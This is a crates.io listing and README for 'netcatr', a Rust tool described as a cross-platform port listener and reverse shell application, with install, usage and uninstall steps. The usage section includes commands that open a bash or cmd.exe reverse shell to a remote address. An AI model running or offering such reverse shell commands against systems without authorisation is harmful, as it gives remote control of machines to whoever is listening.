netcatr

Crates.ionetcatr
lib.rsnetcatr
version0.1.2
sourcesrc
created_at2024-10-26 13:58:24.303409
updated_at2024-10-31 17:20:58.630412
descriptionnetcatr: A cross-platform port listener and reverse shell application designed for ease of use, providing seamless network connectivity.
homepagehttps://trinhminhtriet.com
repositoryhttps://github.com/trinhminhtriet/netcatr
max_upload_size
id1423880
size35,897
Triet Trinh (trinhminhtriet)

documentation

README

📡 netcatr

              _                 _
 _ __    ___ | |_   ___   __ _ | |_  _ __
| '_ \  / _ \| __| / __| / _` || __|| '__|
| | | ||  __/| |_ | (__ | (_| || |_ | |
|_| |_| \___| \__| \___| \__,_| \__||_|

📡 netcatr: A cross-platform port listener and reverse shell application designed for ease of use, providing seamless network connectivity.

✨ Features

  • Command history & Tab completion (Interactive mode);
  • CTRL-C blocking;
  • Colors;
  • Everything easy;

Modes

  • Listen mode (listen);
  • Reverse shell mode (connect);

🚀 Installation

To install netcatr, simply clone the repository and follow the instructions below:

git clone git@github.com:trinhminhtriet/netcatr.git
cd netcatr

cargo build --release
cp ./target/release/netcatr /usr/local/bin/

Running the below command will globally install the netcatr binary.

cargo install netcatr

💡 Usage

The most basic and useful example to start listening on a port would be (you can even run vim inside netcatr with this):

netcatr listen -ib 55600

and to connect:

netcatr connect -s bash the.0.0.ip 55600

Reverse shell from Windows:

netcatr connect -s cmd.exe the.0.0.ip 55600

🗑️ Uninstallation

Running the below command will globally uninstall the netcatr binary.

cargo uninstall netcatr

Remove the project repo

rm -rf /path/to/git/clone/netcatr

🤝 How to contribute

We welcome contributions!

  • Fork this repository;
  • Create a branch with your feature: git checkout -b my-feature;
  • Commit your changes: git commit -m "feat: my new feature";
  • Push to your branch: git push origin my-feature.

Once your pull request has been merged, you can delete your branch.

📝 License

This project is licensed under the MIT License - see the LICENSE file for details.

Commit count: 11

cargo fmt